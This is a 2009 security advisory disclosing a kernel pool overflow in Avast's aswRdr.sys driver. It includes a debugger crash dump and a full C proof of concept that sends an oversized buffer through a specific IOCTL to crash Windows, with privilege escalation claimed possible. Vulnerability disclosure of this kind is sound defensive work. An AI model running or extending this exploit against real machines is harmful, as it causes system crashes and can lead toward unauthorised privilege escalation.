Avast aswRdr.sys Kernel Pool Corruption and Local Privilege Escalation.

---------------------------------------------------
Advisory: Avast aswRdr.sys Kernel Pool Corruption and Local Privilege Escalation.

Version Affected: Product: Avast antivirus 4.8.1356.0 (other versions could be affected)
Vulnerable Compoonent: aswRdr.sys 4.8.1356.0 (avast! TDI RDR Driver)
Category: Local Denial of Service due to kernel memory corruption (BSOD)
     (untested) Local Privilege Escalation

PoC Code: porting C++ 26/09/2009 Vendor Notify: 26/09/2009
Vendor Reply: 15/09/2009 Vendor Fix: 15/10/2009

Vulnerability Details:
Avast's aswRdr.sys Driver does not sanitize user supplied input IOCTL and this lead to Kernel Heap Overflow that propagates on the system with a BSOD and potential risk of Privilege Escalation.

Credit:
Giuseppe 'Evilcry' Bonfa' (Project Manager, www.EvilFingers.com)
E-Mail: evilcry {AT} GMAIL {DOT} COM
Additional credit: AbdulAziz Hariri from http://www.insight-tech.org
Website: http://evilcry.netsons.org, http://evilcodecave.blogspot.com
http://evilcodecave.wordpress.com

Disclaimer:
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There is no representation or warranties, either express or implied by or with respect to anything in this document, and shall not be liable for a ny implied warranties of merchantability or fitness for a particular purpose or for any indirect special or consequential damages.
---------------------------------------------------

Avast aswRdr.sys Kernel Pool Corruption and Local Privilege Escalation - Technical Details

kd> !analyze -v
Bugcheck: BAD_POOL_HEADER
Arg1: 00000020, a pool block header size is corrupt.
Arg2: 8136c618, The pool entry we were looking for within the page.
Arg3: 8136c778, The next pool entry. <-- OVERWRITTEN HEADER
Arg4: 1a2c0001, (reserved)

POOL_ADDRESS: unable to get nt!MmSpecialPoolStart
unable to get nt!MmSpecialPoolEnd
unable to get nt!MmPoolCodeStart
unable to get nt!MmPoolCodeEnd
8136c618

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
f7c70a18 80543c86 00000019 00000020 8136c618 nt+0x21925
f7c70a68 804f388c 8136c620 00000000 81571de8 nt+0x6cc86
f7c70abc 804fcfbf 81571de8 f7c70b08 f7c70afc nt+0x1c88c
f7c70b0c 806d1c35 00000000 00000000 f7c70b24 nt+0x25fbf
f7c70b24 806d1861 badb0d00 00000000 81603548 hal+0x2c35
f7c70bb4 804f0498 81571de8 81348028 00000000 hal+0x2861
f7c70be8 f76ee9ad 81347ec8 81565740 00000000 nt+0x19498
f7c70c1c f76ee333 81347ec8 81571da8 81664e28 aswRdr+0x9ad
f7c70c58 805749d1 81347ec8 81571da8 81348028 aswRdr+0x333
f7c70d00 8056d33c 0000001c 00000000 00000000 nt+0x9d9d1
f7c70d34 8053c808 0000001c 00000000 00000000 nt+0x9633c
f7c70d64 7c91eb94 badb0d00 0012fee0 04040404 nt+0x65808
f7c70d68 badb0d00 0012fee0 04040404 04040404 0x7c91eb94
f7c70d6c 0012fee0 04040404 04040404 00000000 0xbadb0d00
f7c70d70 04040404 04040404 00000000 00000000 0x12fee0
f7c70d74 04040404 00000000 00000000 00000000 0x4040404
f7c70d78 00000000 00000000 00000000 00000000 0x4040404

Avast aswRdr.sys Kernel Pool Corruption and Local Privilege Escalation - PoC

Exploitation for Privilege Escalation is not Trivial but Possible
#define WIN32_LEAN_AND_MEAN
#include < windows.h >
#include < stdio.h >

BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
WCHAR DeviceName[MAX_PATH];
HANDLE hDevice;
if ((GetVersion() & 0xFF) >= 5)
{ wcscpy(DeviceName, L"\\\\.\\Global\\"); }
else
{ wcscpy(DeviceName, L"\\\\.\\"); }
wcscat(DeviceName, DriverName);
printf("Opening.. %S\n", DeviceName);
hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{printf("CreateFile() ERROR %d\n", GetLastError()); return FALSE;}
*lphDevice = hDevice;
return TRUE;}
int main()
{
HANDLE hDev = NULL;
DWORD Junk;
if(!OpenDevice(L"aswRDR",&hDev))
{printf("Unable to access aswMon");return(0);}
char *Buff = (char *)VirtualAlloc(NULL, 0x156, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Buff)
{ memset(Buff, 'A', 0x156);
DeviceIoControl(hDev,0x80002024,Buff,0x156,
Buff,0x156,&Junk,(LPOVERLAPPED)NULL);
printf("DeviceIoControl Executed..\n");
} else { printf("VirtualAlloc() ERROR %d\n", GetLastError()); }
return(0);}